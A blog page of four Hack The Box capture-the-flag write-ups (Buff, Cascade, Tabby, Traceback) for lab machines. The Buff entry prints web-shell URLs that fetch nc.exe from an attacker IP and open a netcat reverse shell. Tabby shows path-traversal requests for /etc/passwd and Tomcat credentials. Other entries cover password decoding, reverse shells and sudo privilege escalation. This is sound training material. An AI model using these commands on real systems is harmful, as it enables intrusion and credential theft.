Blog

  •

    [CTF] HTB Buff write-up walkthrough

    4.36 of 180 votes

    This is my write-up and walkthrough for the Buff (10.10.10.198) box user flag. Buff is a Windows machine with multiple CVEs which are relatively easy to identify. I found this box much simpler than some of the others in my recent write-ups and would definitely recommend it to anyone new to CTFs. When commencing this engagement, Buff was listed in HTB (hackthebox) with an easy difficulty rating.   Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.198 to check if my instance could reach the Buff machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label buff Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV buff -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated port 8080 was open and running an Apache web server. I visited the IP address in my browser (port 8080). The web server produced a fitness website, so I browsed through the pages. When I landed on the Contact page, I noticed there was no form or information. However, there was information which indicated the site was "Made using Gym Management Software 1.0", signed with the copyright label © Projectworlds.in in the page footer.I decided to search Google to see if I could find a copy of the software version 1.0 online. The first result served a page from exploit-db.com, which indicated this software already contained a known vulnerability and there was a prepackaged payload available to exploit it.This detailed that the software was vulnerable to an Unauthenticated File Upload vulnerability allowing remote attackers to gain Remote Code Execution (RCE) on the host by uploading a maliciously crafted PHP file that bypassed image upload filters. I proceeded to download this exploit. And then deployed it against the target host. I then uploaded a native netcat binary from my Kali instance using cp /usr/share/windows-binaries/nc.exe . I then uploaded a plink binary from my Kali instance using cp /usr/share/windows-binaries/plink.exe . And ran a HTTP server using python -m SimpleHTTPServer to handle directory files. From here I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/nc.exe in my browser which used curl to run a configured netcat listener on the host. I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/plink.exe in my browser which used curl to enable SSH access. With netcat and plink configured on the host I then proceeded to set up a listener locally, configured using nc -lvvnp 1337 to listen on port 1337 And then visited http://buff:8080/upload/kamehameha.php?telepathy=nc 10.10.14.6:1337 -e cmd.exe in my browser to execute cmd.exe (command prompt) on the host within an interactive shell. My local netcat listener confirmed my reverse shell was successfully established. Using the command dir identified the user flag within the /upload directory. Using type user.txt allowed me to read the file to access the flag. I did also find a copy of the user flag within the C:/Users/shaun/Desktop directory, so I'm unsure if someone copied it to the /upload folder before the box was reset.  

  •

    [CTF] HTB Cascade write-up walkthrough

    4.93 of 120 votes

    This is my write-up and walkthrough for the Cascade box. When commencing this engagement, Cascade was listed in HTB (hackthebox) with a medium difficulty rating. Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.182 to check if my instance could reach the Cascade machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label cascade Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV cascade -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated a number of ports were open. As this was a Windows machine, I considered ports 53, 88, 139, 445, and 5985 important. I decided to run enum4linux to try to enumerate further information. This pulled a lot of information, some of which was information on the workgroup user's table. Next I used ldapsearch and ran some automated LDAP queries to see if I could enumerate any further information on the LDAP directory. As I expected this to generate a lot of data, I output the results to a text file. I then opened the file using cat and used less to see if I could identify any LegacyPwd strings. This proved successful and allowed me to identify a base64 encoded legacy password for the r.thompson user account.I then decoded this using Kali's native base64 decoder which gave me the password rY4n5eva I then opened a Samba client using the smbclient utility and tried to connect using the r.thompson and rY4n5eva credentials. I did some mapping and noticed that the Data$ sharename provided access to some additional directories. Digging further into the /IT directory identified a folder named /Email Archives which contained a file named Meeting_Notes_June_2018.html I decided to use mget to download everything locally. I then inspected the Meeting_Notes_June_2018.html file. This showed an internal email from the user Steve Smith advising the IT department that an account named TempAdmin was created with the same login credentials as the administrator. As Steve Smith implied they had the privileges to perform this action, I went back to the files I had previously downloaded using mget from the /IT directory, focusing specifically on the VNC Install.reg file pulled from the /s.smith subfolder of the /Temp directory. Unsurprisingly, this file contained a hex password value. I did some searches on Google and found a popular tool for decoding VNC passwords was vncpwd.exe (File Hash: 7A8DB90DA4FF58A9284E7DB88CEA95CFD817914F). Running this against the encoded string produced the decoded password of sT333ve2 Using the credentials s.smith and sT333ve2 with Evil-WinRM allowed me to get a shell and access the user flag. Conclusion This was a fun box and I found it quite realistic too. Admittedly, I only managed to get the user flag (again) and needed some advice from the community along the way, but I'm satisfied with where I got in the end. I recognise I need to brush up on my priv esc skills and hope to find the root flag on this box and others in the future.

  • [CTF] HTB Tabby write-up walkthrough

    4.87 of 109 votes

    This is my write-up and walkthrough for the Tabby (10.10.10.194) box user flag. Tabby is a Linux machine with some interesting web app CVEs to play with. I enjoyed using the Pwnbox feature in my last hackthebox write-up so decided I'd give it another go on this one. When commencing this engagement, Tabby was listed in HTB (hackthebox) with an easy difficulty rating.   Walkthrough I spun up a new Pwnbox instance from the HTB dashboard and installed my VPN server key for my region. Once the VPN server key was installed, I then pinged the target 10.10.10.194 to check if my instance could reach the Tabby machine. To make things easier moving forward, I always opt to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label tabby Now this was set, I could begin some basic recon. As part of my standard recon routine I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV tabby -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated ports 22, 80, and 8080 were open. This confirmed the server was running a web service and SSH. I visited the IP address in my browser (port 80). I had a look around and noticed that the statement at the bottom of the landing page relating to a data breach hyperlinked to the address http://megahosting.htb/news.php?file=statement As this was unreachable, I added the domain to my existing hosts file for 10.10.10.194 so I could also reach it at tabby I was unable to find anything of interest in the page content for the issued statement, but noticed the requested statement was being passed in the file parameter. I wondered if it might be vulnerable to path traversal or SQLi. I decided to use Burp to automate a fuzzing technique demonstrated in my previous path traversal attack tutorial. This fires a list of common path traversal attack strings as requests and compiles a list of the HTTP status code responses. After reviewing this list, I could see there were some anomalies indicating traversal was possible. The first location I reached was the /etc/passwd located at http://tabby/news.php?file=../../../../../../../../etc/passwd I could see at the bottom of the file, the users tomcat and ash existed. The next location I reached was the /etc/hosts located at http://tabby/news.php?file=../../../../../../../../etc/hosts This confirmed information I already knew and concluded my port 80 recon so I moved on to port 8080 and visited http://tabby:8080 to see if it was reachable. This confirmed the server was running Apache Tomcat 9 and at the bottom indicated more user information might be present at http://tabby/news.php?file=../../../../../../../../etc/tomcat9/tomcat-users.xml However, when I tried this file location it didn’t exist. I was also conscious at this point that my earlier path traversal fuzzing had not enumerated this path and file location in the results. I then tried manually amending the path until I reached a blank page at http://tabby/news.php?file=../../../../../usr/share/tomcat9/tomcat-users.xml Viewing the source of this page then gave me the XML file markup. This file provided user credential information for the user tomcat with password $3cureP4s5w0rd123! I got stuck at this point for a while so ended up looking back at my notes and searching on Google to see if there were any vulnerabilities in Apache Tomcat 9 that might help me get a shell. My research showed me that Apache Tomcat 9 uses WAR (Web Application Archive) files to deploy web apps via servlets. These are a bit like JAR files, but contain everything the web app needs (such as JavaScript, CSS, etc), and according to Apache Tomcat 9 support documentation are controlled via commands from the manager application located here: There was evidence in the public domain that Apache Tomcat 9 was previously vulnerable to a malicious WAR file upload vulnerability, but I had no idea if the specific version running on this server was patched or not. I decided to try anyway. My first step was to search for a module I could use in Metasploit, then see if I could leverage that to craft and upload a tailored WAR file backdoor. I went for the java/jsp_shell_reverse_tcp module and configured a reverse shell to listen for a connection from my machine 10.10.14.62 on port 1338. I then used curl to push the newly generated WAR file to the Apache Tomcat 9 manager application using the credentials I had found before. However, before I executed this, I needed to setup a listener using netcat on my own machine to listen for connection requests on the desired port 1338 Now I could execute the reverse shell. netcat confirmed the reverse shell was active and I could see I was connected as the user tomcat I then spawned a tty shell to help me navigate and interact. I had a look around and moved into the /var/www/html/files directory which listed what appeared to be a backup file. I converted the compressed file to base64 and copied the verbose output, then used echo to rebuild the file locally on my machine. When I attempted to access the file I could see it was password protected. I fired up frackzip and ran it against the famous rockyou.txt wordlist to see if I could bruteforce the password. After about 15 seconds, frackzip found the password admin@it Recognising that passwords are sometimes shared, I then went back to my shell and tried to use this password for privilege escalation. I found it worked successfully on the user ash. I then listed the contents within the directory and opened the file user.txt which gave me the user flag.  

  •

    [CTF] HTB Traceback write-up walkthrough

    4.91 of 92 votes

    This is my write-up and walkthrough for the Traceback (10.10.10.181) box user flag. Traceback is a Linux machine which was a little more challenging for me than I expected. This was my first CTF effort in quite some time and I wanted to refresh my learning. HTB (hackthebox) has also introduced a new Pwnbox feature, which is a custom web-based Parrot OS VM. This utility is a perk of HTB's VIP membership, and I was keen to test it out in practice. When commencing this engagement, Traceback was listed in HTB (hackthebox) with an easy difficulty rating.   Walkthrough First I spun up a new Pwnbox instance. Once this instance was running, I then installed my VPN server key for my desired region. Once the VPN server key was installed, I then pinged the target 10.10.10.181 to check if my instance could reach the Traceback machine. To make things easier moving forward, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label trace Now this was set, I could begin some basic recon. For this I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV trace -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated ports 22 and 80 were open. This confirmed the server was running a web service and SSH. I visited the IP address in my browser (port 80). I could see the web server running indicated a backdoor existed. I decided to take a look at the source code of the page to see if there was anything of interest. A comment left behind suggested ‘some of the best web shells’, hinting the backdoor might be a popular web shell. I decided to Google some of the most known web shells to compile a list. I then ran the list in Gobuster, which is a tool designed to aid in directory traversal and discovery, which enumerates any directories, pages, scripts, assets, and files that exist by submitting predefined names as requests and looking for HTTP 200 status code responses. Success! Gobuster was able to identify that smevk.php existed in the root domain. I visited this in my browser as https://10.10.10.181/smevk.php to see if I could reach it. I was presented with an admin login page. I wasn’t familiar with this web shell, but knew that most come with default credentials, so I tried some of the most obvious. Luckily, the form accepted username admin with the password admin on my first try. I could see a command line field within the interactive web shell, so I tried to identify if the server had Python or Perl installed. My objective now was to set up a reverse shell. This would allow me to instruct the target machine to connect to my machine and accept commands. I could see the server supported and understood Perl, so now I needed a reverse shell written in Perl. I searched Google for a reverse shell cheat sheet to see if I could grab a template for one. This code would open a socket and establish a connection on a specific IP and a specific port. Once I amended the IP and port values to reflect my own IP 10.10.14.252 and the desired port 1338 I was reserving for this attack, I could run this in the interactive web shell command line to start my reverse shell. However, before I executed this, I needed to setup a listener using netcat on my own machine to listen for connection requests on the desired port 1338. Now I could execute the reverse shell. netcat confirmed the reverse shell was active. I could see I was in the home directory as user webadmin. As netcat had previously indicated tty was inactive, I used /usr/bin/script -qc /bin/bash /dev/null to spawn a tty shell to help me navigate and interact. I then checked what was in the home directory and found sysadmin and webadmin. From here navigated to the webadmin directory and used ls -lah to list the folder contents. I could see there was an .ssh folder so proceeded to generate my own public key to add to the authorized_keys subfolder. I then navigated to my newly generated public key and opened it in a text editor. This allowed me to copy the key and write it into a command which would insert it into the target machine's authorized_keys subfolder. I could then use ssh -i key webadmin@trace to establish an active and stable SSH connection to the target machine. From here I list the directory contents and see two files note.txt and exploit.lua. I opened the note.txt using cat note.txt This message from the sysadmin suggested there was a tool coded in lua, which matches the exploit.lua in the same directory.. I opened the exploit.lua using cat exploit.lua I have little experience in the lua language, so I Googled this specific syntax and identified this is a common command for spawning an interactive system shell. Running sudo -l identifies that the user webadmin can access /home/sysadmin/luvit using sysadmin without a password. I chained this to the lua command to attempt privilege escalation. This was successful. From here I navigated to the /home/sysadmin directory and listed the folder contents. Opening the file user.txt gave me the user flag.